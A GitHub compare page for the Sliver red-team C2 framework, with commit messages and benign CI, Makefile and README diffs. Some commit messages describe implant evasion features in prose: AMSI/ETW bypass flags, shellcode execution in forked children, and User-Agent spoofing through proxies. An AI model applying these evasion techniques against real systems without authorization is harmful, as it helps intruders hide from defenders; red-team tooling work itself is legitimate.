Compare commits

...
118 Commits
Author SHA1 Message Date
moloch-- 069d57b5e5 Polish docs landing and section content 2026-08-17 19:57:11 -07:00
moloch-- e023211c02 Polish docs branding and landing terminal 2026-08-17 19:35:23 -07:00
moloch-- a48006640d Fix docs scrolling and client navigation 2026-08-17 19:26:35 -07:00
moloch-- 764fd0eddf Refresh docs site design and navigation 2026-08-17 18:47:32 -07:00
Joe db45c4aaf9 Merge pull request #2328 from BishopFox/reflektor
Use Reflektor for implant extensions
2026-08-16 18:57:56 -07:00
moloch-- 198913d6f8 Use Reflektor for implant extensions 2026-08-15 21:54:40 -07:00
Joe cd85824185 Merge pull request #2326 from kyzzniko-lang/fix/alias-arg-passthrough
fix(alias): keep alias args intact without "--"
2026-08-15 15:45:27 -07:00
kyzzniko-lang 63797ac79c fix(alias): split splitAliasArgs up, gocyclo was at 26
golangci-lint caps cyclomatic complexity at 15. Break the token matcher,
value consumption and numeric validation into their own functions; the
main loop only dispatches now. No behaviour change, tests unchanged.
2026-08-15 13:37:23 +08:00
kyzzniko-lang 4633409623 fix(alias): keep alias args intact without "--"
Alias commands had it worse than extensions: pflag hard-errors on flags it
does not know, so a payload with its own arguments (amsi-bypass -pid 6969)
could only be invoked through cobra's "--" separator, and every alias help
text pointed to a wiki page explaining the trick (#2264).

Same treatment extensions got in #2323: alias commands now run with
DisableFlagParsing and runAliasCommand pulls the Sliver-owned flags out of
the raw slice itself (args.go). The flag table owns --process,
--process-arguments, --ppid, --save, --timeout and --help for every alias,
plus the .NET assembly set (--method, --class, --app-domain, --arch,
--in-process, --runtime, --amsi-bypass, --etw-bypass) for assembly aliases.
Everything else is handed to the payload verbatim, including glued
shorthands: "-pid" is deliberately NOT read as -p with value "id", which is
exactly the mangling behind #2264. Parsed values are written back onto the
flag set so Request()'s --timeout and the Get* readers keep working, and
"--" still forces everything after it to the payload for name collisions.

Drops the wiki workaround warning from the generated help text.

Closes #2264
2026-08-15 12:00:09 +08:00
Joe 13c2d33449 Merge pull request #2323 from kyzzniko-lang/fix/extension-bof-arg-passthrough
fix(extensions): keep BOF/extension args intact without "--"
2026-08-14 09:48:43 -07:00
kyzzniko-lang 8cf478d7b0 fix(extensions): remove unused flag-name maps flagged by golangci-lint
splitExtensionArgs matches Sliver-owned flags with literal comparisons, so the
extensionOwnedBoolFlags/extensionOwnedIntFlags package vars were never read.
golangci-lint's unused linter rejected them, failing CI on darwin/linux/windows.
Drop the maps and fold the design notes into splitExtensionArgs's doc comment.
2026-08-14 11:44:21 +08:00
Joe f55215ff93 Merge pull request #2324 from MKMithun2806/feat/profiles-generate-external-builder
Feat/profiles generate external builder
2026-08-13 11:32:29 -07:00
Mitchaster a32d81252c Merge branch 'BishopFox:master' into feat/profiles-generate-external-builder 2026-08-13 21:44:34 +05:30
MKMithun2806 a1537535c4 test: cover external-builder flag on profiles generate
Verify the profiles generate subcommand exposes the -E/--external-builder
flag with the same semantics as generate, so the external builder path is
wired and discoverable.

Signed-off-by: MKMithun2806 <[email protected]>
2026-08-13 16:11:22 +00:00
MKMithun2806 61dd34e989 feat: use external builder for profiles generate
Mirror the generate command: when --external-builder is set, call the
existing externalBuild() helper instead of the local compile() path, and
handle ErrNoExternalBuilder / ErrNoValidBuilders with the same user-facing
messages as generate.

Signed-off-by: MKMithun2806 <[email protected]>
2026-08-13 16:09:17 +00:00
MKMithun2806 2b67cb917b feat: add --external-builder flag to profiles generate
Add the same -E/--external-builder flag already used by generate and
generate beacon so profiles generate can offload builds to an external
builder.

Signed-off-by: MKMithun2806 <[email protected]>
2026-08-13 16:08:39 +00:00
kyzzniko-lang ceead92ec5 fix(extensions): keep BOF/extension args intact without "--"
Extension commands were registered with pflag's
ParseErrorsWhitelist.UnknownFlags, which silently drops every unknown flag
together with its value. The extension's own flags (--type, --fqdn, ...) are
unknown to pflag, so they were stripped before reaching the BOF parser, and
operators had to insert cobra's "--" separator as a workaround (#2309).

Run extension commands with DisableFlagParsing and split the Sliver-owned
flags (--save, --timeout, --help) out of the raw argument slice ourselves,
then pass the rest untouched to the BOF/DLL parser. The parsed values are
written back onto the flag set so Request()'s --timeout (and any other
cmd.Flags() reader) still observes them.

Named extension flags now work with and without "--", quoted values and
positional arguments are preserved, and single/double-dash forms still reach
the BOF parser.

Closes #2309
2026-08-13 22:03:00 +08:00
Joe df9ed94635 Merge pull request #2322 from nkbeast/fix/nil-session-deref-crash
fix(server): prevent nil session dereference crash in tunnel/socks/pivot paths
2026-08-12 22:00:48 -07:00
Joe e891613f6f Merge pull request #2318 from MKMithun2806/fix/httpc2-header-probability
fix: default missing HTTPC2Header probability to 100
2026-08-12 22:00:31 -07:00
Joe f60a0e91d3 Merge pull request #2317 from BishopFox/dependabot/npm_and_yarn/docs/sliver-docs/dompurify-3.4.13
build(deps): bump dompurify from 3.4.12 to 3.4.13 in /docs/sliver-docs
2026-08-12 20:57:38 -07:00
Joe 2308314529 Merge pull request #2319 from BishopFox/dependabot/go_modules/gorm.io/driver/postgres-1.6.2
chore(deps): bump gorm.io/driver/postgres from 1.6.0 to 1.6.2
2026-08-12 20:57:20 -07:00
NK 04bc82bca3 fix(server): prevent nil session dereference crash in tunnel/socks/pivot paths
Sessions.Get() can return nil when an implant session is removed (e.g. the
implant dies or times out) between the RPC handler's nil check and the
tunnel creation call. Both tunnels.Create() and SocksTunnels.Create()
dereferenced the session unconditionally, and since the gRPC server has no
panic recovery interceptor, the panic took down the entire server and all
active sessions (see #1969).

Also guard the tunnel data goroutines (resend, to-implant sender) and the
pivot graph ToProtobuf() against a vanished session, logging and skipping
instead of panicking.

Adds core.ErrInvalidSessionID mapped to codes.InvalidArgument in rpcError().
2026-08-12 09:42:26 +05:30
dependabot[bot] acdfa33231 chore(deps): bump gorm.io/driver/postgres from 1.6.0 to 1.6.2
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.6.0 to 1.6.2.
- [Commits](https://github.com/go-gorm/postgres/compare/v1.6.0...v1.6.2)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-version: 1.6.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-08-10 03:03:31 +00:00
Mitchaster a03592de81 Merge branch 'master' into fix/httpc2-header-probability 2026-08-09 22:57:55 +05:30
Joe 5cf9d088e8 Merge pull request #2316 from MKMithun2806/docs/remove-generate-stager
docs: note the generate stager command was removed
2026-08-09 09:35:03 -07:00
MKMithun2806 db3294b926 fix: default missing HTTPC2Header probability to 100
When probability is omitted from http-c2.json headers it stayed at the
protobuf zero value (0) and was never applied by the implant. Coerce any
header with a zero probability to 100 during config normalization so the
header is always sent.

Signed-off-by: MKMithun2806 <[email protected]>
2026-08-09 16:04:52 +00:00
dependabot[bot] 1847b8c24b build(deps): bump dompurify from 3.4.12 to 3.4.13 in /docs/sliver-docs
Bumps [dompurify](https://github.com/cure53/DOMPurify) from 3.4.12 to 3.4.13.
- [Release notes](https://github.com/cure53/DOMPurify/releases)
- [Commits](https://github.com/cure53/DOMPurify/compare/3.4.12...3.4.13)

---
updated-dependencies:
- dependency-name: dompurify
  dependency-version: 3.4.13
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-08-09 09:20:01 +00:00
MKMithun2806 79e4259081 docs: note the generate stager command was removed
The Sliver generate stager subcommand was removed in recent releases. Update
the Stagers documentation to make clear stagers must now be generated with
Metasploit's msfvenom or custom tooling, and correct the HTTP(S) stager
section heading to reflect supported schemes.
2026-08-08 17:39:12 +00:00
Joe 9ff9b55352 Merge pull request #2305 from Luppa90/fix/mtls-wg-frame-bounds
fix(implant): bound mTLS and WireGuard envelope allocation from length prefix
2026-08-05 09:42:30 -07:00
Joe 9767e24edd Merge pull request #2312 from BishopFox/dependabot/go_modules/golang.org/x/text-0.40.0
Bump golang.org/x/text from 0.37.0 to 0.40.0
2026-08-05 09:42:13 -07:00
dependabot[bot] bb572f3846 Bump golang.org/x/text from 0.37.0 to 0.40.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.37.0 to 0.40.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.37.0...v0.40.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-version: 0.40.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-08-03 03:03:48 +00:00
Joe 01c5b5cee4 Merge pull request #2306 from Luppa90/fix/canary-nil-connection-panic
fix(server): guard Session.ToProtobuf against nil Connection
2026-07-31 15:52:17 -07:00
Luppa 1049dc4a98 fix(lint): add package comment to wireguard test file
Satisfies the revive package-comments rule that was failing CI on all
three platforms.
2026-07-31 21:55:49 +01:00
Luppa d1b0ba13c4 fix(server): guard Session.ToProtobuf against nil Connection
When a DNS canary fires, handleCanary publishes an event containing a
Session with only the Name field set (Connection is nil). The RPC event
stream calls ToProtobuf() on that Session, which dereferences Connection
for Transport, RemoteAddress, LastCheckin, and IsDead — causing a nil
pointer panic that crashes the server.

Guard the Connection-dependent fields so ToProtobuf returns zero values
for transport metadata when Connection is nil, instead of panicking.

Fixes BishopFox/sliver#1435
2026-07-31 10:49:07 +01:00
Luppa 2d98f14149 fix(implant): bound mTLS and WireGuard envelope allocation from length prefix
Same vulnerability fixed for pivots in #2292: a corrupted or desynced
4-byte length prefix could trigger an allocation up to ~4 GiB, crashing
the implant. Cap at 512 MiB (matching the pivot transport limit) and
return a descriptive error instead of allocating.

Also fixes stale "[pivot]" log tags in both transports' zero-length
error paths.
2026-07-31 08:55:30 +01:00
Joe 19e82064b1 Merge pull request #2292 from Luppa90/fix/pivot-frame-bounds
fix(implant): bound pivot frame allocation from length prefix
2026-07-30 14:34:54 -07:00
Joe 3b72374685 Merge pull request #2291 from Luppa90/fix/log-rotation
fix(server): rotate server logs to bound disk usage
2026-07-30 14:34:36 -07:00
Luppa 20fb8c4975 fix(implant): handle Close errors in pivot tests (errcheck) 2026-07-30 11:07:01 +01:00
Luppa 68829c0a40 fix(server): handle Close error in rotation test (errcheck) 2026-07-30 10:53:46 +01:00
Joe 2c18062f4d Merge branch 'master' into fix/log-rotation 2026-07-29 17:38:56 -07:00
Joe f17ce0afbe Merge pull request #2302 from BishopFox/dependabot/go_modules/charm.land/glamour/v2-2.0.1
Bump charm.land/glamour/v2 from 2.0.0 to 2.0.1
2026-07-29 17:38:16 -07:00
dependabot[bot] 116b12885c Bump charm.land/glamour/v2 from 2.0.0 to 2.0.1
Bumps [charm.land/glamour/v2](https://github.com/charmbracelet/glamour) from 2.0.0 to 2.0.1.
- [Release notes](https://github.com/charmbracelet/glamour/releases)
- [Commits](https://github.com/charmbracelet/glamour/compare/v2.0.0...v2.0.1)

---
updated-dependencies:
- dependency-name: charm.land/glamour/v2
  dependency-version: 2.0.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-07-28 00:31:47 +00:00
Joe 3d9860db6c Merge pull request #2301 from BishopFox/dependabot/go_modules/gorm.io/gorm-1.31.2
Bump gorm.io/gorm from 1.31.0 to 1.31.2
2026-07-27 17:29:18 -07:00
dependabot[bot] 1a6579e954 Bump gorm.io/gorm from 1.31.0 to 1.31.2
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.31.0 to 1.31.2.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.31.0...v1.31.2)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-version: 1.31.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-07-27 03:03:55 +00:00
Joe 2659d848d7 Merge pull request #2298 from BishopFox/feat/golangci-lint
Replace Go Report Card with golangci-lint
2026-07-26 17:08:34 -07:00
moloch-- df6571f63f Fix linting without generated assets 2026-07-26 15:18:21 -07:00
moloch-- aab1470e08 Replace Go Report Card with golangci-lint 2026-07-26 14:49:42 -07:00
Joe 19d43fdc37 Merge pull request #2295 from ph0neh0me/docs/go-archive-validation
docs: add go archive validation examples
2026-07-26 14:47:25 -07:00
Joe 3b09e5ea80 Merge pull request #2297 from BishopFox/feat/dependabot-follow-up
Fix remaining Dependabot advisories
2026-07-26 14:10:38 -07:00
moloch-- b904d29b25 Update implant security dependencies 2026-07-26 08:57:27 -07:00
moloch-- 8e2b069a7d Fix remaining Dependabot advisories 2026-07-26 08:08:26 -07:00
Joe 096c418d27 Merge pull request #2296 from BishopFox/feat/dependabot-security-fixes
Fix Dependabot security alerts
2026-07-25 18:47:29 -07:00
moloch-- d9e241ccb5 Fix flaky website content test 2026-07-25 14:19:06 -07:00
moloch-- 086da95525 Fix Dependabot security alerts 2026-07-24 16:48:14 -07:00
Peter Georgiev 27ed557e55 docs: add go archive validation examples 2026-07-25 01:46:46 +03:00
Joe af7c823508 Merge pull request #2290 from ph0neh0me/feature/go-archive-output
Add Go c-archive output format
2026-07-23 17:54:34 -07:00
Joe f2a3d8ee6d Merge pull request #2293 from ecapuano/docs/update-soc-analyst-link
Docs: update stale SOC analyst blog post link
2026-07-22 21:49:00 -07:00
Eric Capuano de7215d2c0 docs: update stale SOC analyst blog link in Community Guides 2026-07-20 22:09:20 -05:00
Luppa 2d555b16d9 fix(implant): bound pivot frame allocation from length prefix
Both pivot readers (NetConnPivot and NetConnPivotClient) allocated
make([]byte, dataLength) directly from a peer's 4-byte length prefix with only
a lower-bound (<= 0) check. A corrupted or desynced prefix -- e.g. from a
framing desync during a transfer over a pivot -- can therefore be read as a
value up to ~4GiB and trigger an allocation large enough to crash the implant
(reported in #1452 with a 300KiB download over an http -> named-pipe pivot).

Add an upper bound (MaxFrameLength, 512MiB) and reject oversized frames with
ErrFrameTooLarge before allocating. The constant and error live in the pivots
package and are reused by pivotclients, which already imports it.

Adds tests covering rejection of an oversized prefix (with a timeout guard so a
regression fails fast instead of hanging) and a valid-frame round-trip.
2026-07-18 17:33:03 +01:00
Luppa 597a2571fc fix(server): rotate server logs to bound disk usage
The server log sinks (sliver.json, sliver.log, audit.json) were opened as
plain append-only file handles with no rotation, so a sustained error
condition (e.g. a hot RPC/accept error path) can grow them without bound and
exhaust the host disk, locking out the operator.

Route each sink through lumberjack. Rotation starts with safe built-in
defaults at logger init and is retuned from LogConfig after the server config
loads, mirroring the existing SetLevel pattern (the log package cannot import
server/configs -- import cycle). Configs that predate the new fields keep the
built-in defaults, so rotation is never accidentally disabled.

Adds LogConfig knobs (max_size_mb, max_backups, max_age_days, compress) and
unit tests covering the defaults, override/zero-value semantics, and real
on-disk rotation. New log files are created 0600 (more restrictive than the
previous 0644 for sliver.json/sliver.log).
2026-07-18 17:16:18 +01:00
Luppa 409b4c8fdb chore: vendor gopkg.in/natefinch/lumberjack.v2
Dependency for bounded server log rotation. Kept in a distinct commit from
the functional change per CONTRIBUTING.md ("Any changes to vendor/ should be
in a distinct commit").
2026-07-18 17:16:17 +01:00
Peter Georgiev 2e72bc96b9 Add Go c-archive output format 2026-07-18 15:09:09 +03:00
Joe fa9557348e Merge pull request #2286 from Functionhx/fix/sliver-1775-proxy-ua
fix: set ProxyConnectHeader to prevent UA leak on proxy CONNECT
2026-07-17 15:18:03 -07:00
Functionhx 4768e36074 fix: set ProxyConnectHeader to use spoofed User-Agent
Set http.Transport.ProxyConnectHeader with the generated User-Agent so
HTTPS CONNECT requests through a proxy use the spoofed UA instead of
leaking the default Go-http-client identifier.

Fixes BishopFox/sliver#1775

Signed-off-by: Yuchen Fan <[email protected]>
2026-07-17 14:00:07 +08:00
Joe e53f66de72 Merge pull request #2288 from BishopFox/feat/pr-2280-ci-fix
fix(dns): handle SplitBuffer varint boundaries and restore CI
2026-07-14 22:34:12 -07:00
moloch-- 1d33b89ec5 test: clean Go cache before generation suite 2026-07-14 19:14:37 -07:00
moloch-- 7b0f420290 Fix DNS splitting and Windows implant builds 2026-07-14 18:31:17 -07:00
moloch-- 00824d1b83 Merge remote-tracking branch 'origin/master' into feat/pr-2280-ci-fix 2026-07-14 07:50:18 -07:00
Joe 99ad05b7b7 Merge pull request #2287 from BishopFox/fix/png-decoder
Fix unbounded PNG decoding
2026-07-14 07:47:32 -07:00
moloch-- 80273462bd Fix unbounded PNG decoding 2026-07-13 22:07:42 -07:00
Luppa 2cdefc7369 fix(dns): step back on varint-boundary overshoot in SplitBuffer
The inner loop guard (subdataSpace-1) only accounts for a +2 base32
jump from a pure encoding boundary. When msg.Data length crosses a
proto3 varint boundary (e.g. 127->128 bytes), the serialized message
grows by 2 bytes, pushing the base32 encoding 3-4 chars over the
budget. This caused errMsgTooLong on specific parent domain length
parities. Add a step-back loop to correct overshoots without losing
the fast-path acceleration.

Fixes #2279
2026-06-28 08:50:31 +01:00
Ronan Kervella 80c752a422 Merge pull request #2273 from MKMithun2806/feature/configurable-keepalive
Feature/configurable keepalive
2026-06-03 12:35:42 -07:00
Mitchaster 8a8a9dc498 Merge branch 'BishopFox:master' into feature/configurable-keepalive 2026-06-03 06:14:57 +00:00
Mithun 5f8540b3c4 Standardize formatting with gofmt 2026-06-03 06:12:54 +00:00
Mithun 4eef868047 Add unit tests for rtunnels KeepAlive state management 2026-06-03 06:12:40 +00:00
Mithun 5ebfecd822 Use configurable KeepAlive in createReverseTunnelHandler 2026-06-03 06:12:26 +00:00
Mithun 9762560228 Pass KeepAlive to TrackListener in StartRportFwdListener 2026-06-03 06:12:12 +00:00
Mithun 6310c7d6a0 Store KeepAlive in rtunnels state manager 2026-06-03 06:11:58 +00:00
moloch-- fafe360672 go mod vendor 2026-05-31 14:25:51 -07:00
moloch-- d9b6f41940 Bump pge dep 2026-05-30 11:49:46 -07:00
moloch-- f1ccf0eac3 Docs site version bumps 2026-05-30 09:50:58 -07:00
Joe d2aa924bc4 Merge pull request #2258 from SAY-5/fix/install-detect-existing-minisign-2239
install: detect existing minisign before apt-get install
2026-05-07 08:01:04 -07:00
Joe 46861cd428 Merge pull request #2259 from cyberguerilla68/patch-1
Duplicate HTML Fix
2026-05-07 07:46:17 -07:00
ju li 1c1825f8f0 Duplicate HTML Fix
stageHandler function was missing a return statement at line 780, causing the server to serve duplicate HTML blocks when using the websites feature, causing things to render twice, and breaking embedded scripts like WAS stagers.

Signed-off-by: ju li <[email protected]>
2026-05-05 15:40:48 -04:00
SAY-5 a943995040 install: detect existing minisign before apt-get install
Signed-off-by: SAY-5 <[email protected]>
2026-05-05 03:48:27 -07:00
Joe f0d2a2cf24 Merge pull request #2257 from BishopFox/go/v1.26.2
Go v1.26.2
2026-05-03 17:47:00 -07:00
Joe 27ac612c82 Merge pull request #2255 from SAY-5/fix/event-broker-closed-channel-2252
core/events: don't panic on send to closed subscriber
2026-05-03 09:19:06 -07:00
moloch-- baedb563f3 Go v1.26.2 2026-05-03 09:17:04 -07:00
SAY-5 45c7914602 core/events: don't panic on send to closed subscriber
Closes #2252.
2026-05-02 01:05:02 -07:00
moloch-- 92d85cb8ff Tweak styling 2026-05-01 07:17:02 -07:00
moloch-- f5e831844a Fix various docs ui quirks in hero v3 2026-04-30 18:21:06 -07:00
moloch-- ab2fc7dc4a Initial update to heroui v3 2026-04-30 17:59:11 -07:00
Joe 5e377019e4 Merge pull request #2254 from smeukinou/fix-sliverpy
fix: safely close event broker subscription channels
2026-04-30 11:37:01 -07:00
smeukinou 88a4bebca0 fix: safely close event broker subscription channels
Moves the responsibility of closing the event subscription channel to the broker.Start() goroutine when processing an unsubscribe request. This prevents potential data races and panics caused by closing a channel concurrently while the broker might still be attempting to publish events to it.
2026-04-29 23:07:40 +02:00
Joe 2daccb5bd3 Merge pull request #2250 from BishopFox/wg/opt-in
Disable wg wrapper on multiplayer by default
2026-04-21 21:24:17 -07:00
Joe e2a009d4ac Merge pull request #2249 from Moriz82/fix/services-windows-nil-deref
fix(implant): services list panics on nil error on Windows (#1989)
2026-04-21 21:03:40 -07:00
moloch-- eda51f826a Disable wg wrapper on multiplayer by default 2026-04-21 20:51:06 -07:00
Will DeDominico f83dc42a64 fix(implant): services list panics on nil error (#1989)
servicesListHandler called err.Error() unconditionally after
service.ListServices(). On a healthy Windows host ListServices returns
nil error, causing a nil pointer dereference that crashed the implant.

serviceDetailHandler in the same file already guards correctly with
if err != nil. Apply the same pattern to servicesListHandler by
extracting response construction into a buildServicesResp helper with
a proper nil check.

Verified on Windows 11 VM: unfixed helper panics with "runtime error:
invalid memory address or nil pointer dereference" on the nil-error
path; fixed helper passes.

Fixes #1989
2026-04-20 20:13:46 -05:00
Joe 17e8c996a6 Merge pull request #2244 from Moriz82/fix/localtask-process-isolation
fix(implant): run LocalTask shellcode in forked child (#2237)
2026-04-19 08:44:56 -07:00
Will DeDominico 2b667f0e7e fix(implant): run LocalTask shellcode in forked child (#2237)
The previous implementation ran shellcode in a goroutine inside the
beacon; payloads that terminate via exit/execve killed the whole
beacon. Fork a child instead and let the parent wait for it.

Linux uses SYS_CLONE(SIGCHLD) since linux/arm64 has no SYS_FORK.
Darwin uses SYS_FORK, with the isChild check routed through the r1==1
convention that libSystem's fork() wrapper normally hides.

Post-fork the child runs only raw syscalls: runtime_BeforeFork poisons
stackguard0 and AfterForkInChild clears inherited signal handlers.
Mprotect happens in the child so the parent's page table stays
writable, inherited FDs are closed to avoid leaking C2 sockets into
exec'd payloads, and the child exits via SYS_EXIT_GROUP (Linux) or
SYS_EXIT (Darwin).

Tests under implant/sliver/taskrunner/ cover parent survival and
non-zero-exit error reporting on both Linux and Darwin.
2026-04-16 20:52:38 -05:00
Ronan Kervella 73bcf40bfd Merge pull request #2240 from BishopFox/CLD-10806/update-codeowners-replace-red-team
chore(doc): replace red-team with bf-red-team in CODEOWNERS (CLD-10806)
2026-04-10 09:02:55 -07:00
George Robbins b635adcb3c chore(doc): replace red-team with bf-red-team in CODEOWNERS (CLD-10806) 2026-04-10 10:56:01 -05:00
Joe 2b92397e07 Merge pull request #2236 from BishopFox/codex/pr2234-wg-ci
Fix WG client Windows CI regressions
2026-04-09 10:11:57 -07:00
moloch-- c23067a0e0 Wait for AI RPC event streams to subscribe 2026-04-02 09:17:33 -07:00
moloch-- 3aefc39c08 Stabilize AI RPC event stream tests 2026-04-02 08:50:19 -07:00
moloch-- abd8c83df8 Stabilize Windows WireGuard reconnects 2026-04-02 08:22:51 -07:00
Joe 6cce9426f2 Merge pull request #2235 from skoveit/fix/pkg-cache-delete-wrong-argument
fix: pkgCache.Delete(value) should be pkgCache.Delete(key)
2026-04-01 17:30:20 -07:00
skove 2e742863a1 fix: pass key instead of value to pkgcache.delete() 2026-04-01 14:47:39 +02:00
moloch-- dc13a5bb93 Add connecting animation 2026-03-31 13:33:19 -07:00
moloch-- 1f2946eb87 Revert changes to netstack 2026-03-31 09:45:40 -07:00
moloch-- 5eeda4c02b console now keeps the long-lived background WG streams on one connection 2026-03-31 09:36:05 -07:00
moloch-- 55a3386313 Improve reliabilty of multiplayer/wg setup 2026-03-30 20:02:55 -07:00
moloch-- b34589a002 Merge branch 'master' of github.com:BishopFox/sliver 2026-03-30 15:56:54 -07:00
moloch-- 4486b17b49 Tweak release trigger 2026-03-30 15:56:45 -07:00
Joe 377ee5ca7c Merge pull request #2229 from BishopFox/docs/multiplayer-wg
Update docs for wg+grpc/mtls multiplayer
2026-03-30 12:13:43 -07:00
moloch-- 4765f40854 v1.7.4 2026-03-30 11:51:15 -07:00
moloch-- e239d85821 v1.7.4 2026-03-30 11:48:34 -07:00
moloch-- 593925b4a5 Update docs for wg+grpc/mtls multiplayer 2026-03-26 17:30:33 -07:00
1388 changed files with 74854 additions and 185057 deletions

No files matched your search

+1 -1
View File
@@ -1 +1 @@
* @BishopFox/red-team
* @BishopFox/bf-red-team
+18 -7
View File
@@ -2,8 +2,8 @@ name: Release
on:
push:
branches:
- master
tags:
- "v*.*.*"
permissions:
contents: write
@@ -21,11 +21,22 @@ jobs:
with:
fetch-depth: 0
- name: Find Semver Tag
- name: Validate Release Tag
id: tag
run: |
git fetch --prune --tags -f
tag=$(git tag --points-at "$GITHUB_SHA" | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1)
git fetch --prune --tags -f origin
tag="${GITHUB_REF_NAME}"
if ! printf '%s\n' "$tag" | grep -Eq '^v[0-9]+\.[0-9]+\.[0-9]+$'; then
echo "Tag $tag is not a release semver tag."
exit 0
fi
if ! git merge-base --is-ancestor "$GITHUB_SHA" "origin/master"; then
echo "Tag $tag does not point to a commit on origin/master."
exit 0
fi
echo "tag=$tag" >> "$GITHUB_OUTPUT"
release:
@@ -41,10 +52,10 @@ jobs:
with:
fetch-depth: 0
- name: Go 1.25.8
- name: Go 1.26.6
uses: actions/setup-go@v6
with:
go-version: "1.25.8"
go-version: "1.26.6"
- name: Install Minisign
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
+2 -2
View File
@@ -16,10 +16,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.25.8
- name: Go 1.26.6
uses: actions/setup-go@v6
with:
go-version: "1.25.8"
go-version: "1.26.6"
- name: Checkout repository
uses: actions/checkout@v6
+56
View File
@@ -0,0 +1,56 @@
name: golangci-lint
on:
push:
branches:
- master
pull_request:
branches:
- master
paths:
- ".golangci.yml"
- ".github/workflows/golangci-lint.yml"
- "go.mod"
- "go.sum"
- "go.work"
- "go.work.sum"
- "Makefile"
- "vendor/**"
- "**/*.go"
permissions:
contents: read
pull-requests: read
jobs:
lint:
name: golangci-lint (${{ matrix.goos }})
runs-on: ubuntu-latest
timeout-minutes: 30
strategy:
fail-fast: false
matrix:
goos:
- linux
- darwin
- windows
env:
GOOS: ${{ matrix.goos }}
GOARCH: amd64
CGO_ENABLED: "0"
steps:
- name: Check Out Code
uses: actions/checkout@v6
- name: Go 1.26.6
uses: actions/setup-go@v6
with:
go-version: "1.26.6"
- name: Run golangci-lint
uses: golangci/golangci-lint-action@v9
with:
version: v2.12.2
# Keep legacy findings visible without making them blockers.
only-new-issues: true
args: ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
+8 -8
View File
@@ -25,10 +25,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 180
steps:
- name: Go 1.25.8
- name: Go 1.26.6
uses: actions/setup-go@v6
with:
go-version: "1.25.8"
go-version: "1.26.6"
- name: OS Packages
run: |
@@ -71,10 +71,10 @@ jobs:
runs-on: windows-latest
timeout-minutes: 180
steps:
- name: Go 1.25.8
- name: Go 1.26.6
uses: actions/setup-go@v6
with:
go-version: "1.25.8"
go-version: "1.26.6"
- name: Install make
run: choco install make -y --no-progress
@@ -115,10 +115,10 @@ jobs:
runs-on: macos-latest
timeout-minutes: 180
steps:
- name: Go 1.25.8
- name: Go 1.26.6
uses: actions/setup-go@v6
with:
go-version: "1.25.8"
go-version: "1.26.6"
- name: Check Out Code
uses: actions/checkout@v6
@@ -153,10 +153,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.25.8
- name: Go 1.26.6
uses: actions/setup-go@v6
with:
go-version: "1.25.8"
go-version: "1.26.6"
- name: Check Out Code
uses: actions/checkout@v6
+27
View File
@@ -0,0 +1,27 @@
version: "2"
run:
timeout: 10m
modules-download-mode: vendor
build-tags:
- client
- server
- osusergo
- netgo
- go_sqlite
# Raw implant entry points are Go templates; lint their supporting packages.
- sliver_lint
linters:
default: standard
enable:
- gocyclo
- misspell
- revive
settings:
gocyclo:
min-complexity: 15
formatters:
enable:
- gofmt
+18 -1
View File
@@ -2,18 +2,31 @@
# Makefile for Sliver
#
.DEFAULT_GOAL := default
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags go_sqlite
CGO_ENABLED = 0
GOLANGCI_LINT ?= golangci-lint
# The tree has legacy lint findings, so gate issues introduced by this change.
GOLANGCI_LINT_BASE ?= master
GOLANGCI_LINT_ARGS ?= --new-from-merge-base=$(GOLANGCI_LINT_BASE)
GOLANGCI_LINT_PACKAGES = \
./client/... \
./server/... \
./util/... \
./protobuf/... \
./docs \
./implant/...
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
CGO_ENABLED = 1
endif
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 25
MIN_SUPPORTED_GO_MINOR_VERSION = 26
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
@@ -23,6 +36,10 @@ CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
SLIVER_UPDATE_PKG = github.com/bishopfox/sliver/client/command/update
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
.PHONY: lint
lint:
$(GOLANGCI_LINT) run $(GOLANGCI_LINT_ARGS) $(GOLANGCI_LINT_PACKAGES)
ifneq ($(OS),Windows_NT)
#
+1 -1
View File
@@ -4,7 +4,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
